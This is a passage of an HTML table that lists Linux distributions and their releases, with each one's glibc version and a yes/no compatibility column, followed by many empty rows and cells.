<td align="left">2.23</td> <td align="left">Yes</td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> </tr> <tr> <td align="left"></td> <td align="left">18.04 LTS</td> <td align="left">2.27</td> <td align="left">Yes</td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> </tr> <tr> <td align="left"></td> <td align="left">20.04 LTS</td> <td align="left">2.31</td> <td align="left">Yes</td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> </tr> <tr> <td align="left"></td> <td align="left">22.04 LTS</td> <td align="left">2.35</td> <td align="left">Yes</td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> </tr> <tr> <td align="left"></td> <td align="left">24.04 LTS</td> <td align="left">2.39</td> <td align="left">Yes</td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> </tr> <tr> <td align="left"></td> <td align="left">26.04 LTS</td> <td align="left">≥2.41</td> <td align="left">Yes</td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> </tr> <tr> <td align="left"><strong>Debian</strong></td> <td align="left">8 Jessie</td> <td align="left">2.19</td> <td align="left">No</td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> </tr> <tr> <td align="left"></td> <td align="left">9 Stretch</td> <td align="left">2.24</td> <td align="left">Yes</td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> </tr> <tr> <td align="left"></td> <td align="left">10 Buster</td> <td align="left">2.28</td> <td align="left">Yes</td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> </tr> <tr> <td align="left"></td> <td align="left">11 Bullseye</td> <td align="left">2.31</td> <td align="left">Yes</td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> </tr> <tr> <td align="left"></td> <td align="left">12 Bookworm</td> <td align="left">2.36</td> <td align="left">Yes</td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> </tr> <tr> <td align="left"></td> <td align="left">13 Trixie</td> <td align="left">2.41</td> <td align="left">Yes</td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> </tr> <tr> <td align="left"><strong>RHEL</strong></td> <td align="left">7</td> <td align="left">2.17</td> <td align="left">Yes</td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> </tr> <tr> <td align="left"></td> <td align="left">8</td> <td align="left">2.28</td> <td align="left">Yes</td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> </tr> <tr> <td align="left"></td> <td align="left">9</td> <td align="left">2.34</td> <td align="left">Yes</td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> </tr> <tr> <td align="left"></td> <td align="left">10</td> <td align="left">2.39</td> <td align="left">Yes</td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> </tr> <tr> <td align="left"><strong>CentOS</strong></td> <td align="left">6</td> <td align="left">2.12</td> <td align="left">No</td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> </tr> <tr> <td align="left"></td> <td align="left">7</td> <td align="left">2.17</td> <td align="left">Yes</td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> </tr> <tr> <td align="left"></td> <td align="left">8 / Stream 8–10</td> <td align="left">≥2.28</td> <td align="left">Yes</td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> </tr> <tr> <td align="left"><strong>Fedora</strong></td> <td align="left">38–42</td> <td align="left">2.37–2.41</td> <td align="left">Yes</td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> </tr> <tr> <td align="left"><strong>Oracle Linux</strong></td> <td align="left">6–7</td> <td align="left">≤2.17</td> <td align="left">No</td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> </tr> <tr> <td align="left"></td> <td align="left">8–10</td> <td align="left">≥2.28</td> <td align="left">Yes</td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> </tr> <tr> <td align="left"><strong>openSUSE Leap</strong></td> <td align="left">15.x</td> <td align="left">2.26+</td> <td align="left">Yes</td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> </tr> <tr> <td align="left"><strong>openSUSE Tumbleweed</strong></td> <td align="left">Rolling</td> <td align="left">≥2.27</td> <td align="left">Yes</td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> </tr> <tr> <td align="left"></td> <td align="left">15</td> <td align="left">2.26+</td> <td align="left">Yes</td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> </tr> <tr> <td align="left"><strong>Amazon Linux</strong></td> <td align="left">1</td> <td align="left">2.17</td> <td align="left">Yes</td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> </tr> <tr> <td align="left"></td> <td align="left">2</td> <td align="left">2.26</td> <td align="left">Yes</td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> </tr> <tr> <td align="left"></td> <td align="left">2023</td> <td align="left">2.34</td> <td align="left">Yes</td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> </tr> <tr> <td align="left"><strong>Alpine Linux</strong></td> <td align="left">3.x</td> <td align="left">musl (No GLIBC)</td> <td align="left">Yes</td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> </tr> <tr> <td align="left"><strong>Arch/Manjaro/EndeavourOS/Garuda/Gentoo/Void/NixOS</strong></td> <td align="left">Rolling</td> <td align="left">≥2.27</td> <td align="left">Yes</td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> </tr> <tr> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> </tr> <tr> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> </tr> <tr> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> </tr> <tr> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> </tr> <tr> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> </tr> <tr> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> </tr> <tr> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> </tr> <tr> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> </tr> <tr> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> </tr> <tr> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> </tr> <tr> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> </tr> <tr> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> </tr> <tr> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> </tr> <tr> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> </tr> <tr> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> </tr> <tr> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> </tr> <tr> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> </tr> <tr> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> </tr> <tr> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> </tr> <tr> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> </tr> <tr> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> </tr> <tr> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> </tr> <tr> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> </tr> <tr> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> </tr> <tr> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> </tr> <tr> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> </tr> <tr> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> </tr> <tr> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> </tr> <tr> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> </tr> <tr> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> </tr> <tr> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> </tr> <tr> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> </tr> <tr> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td 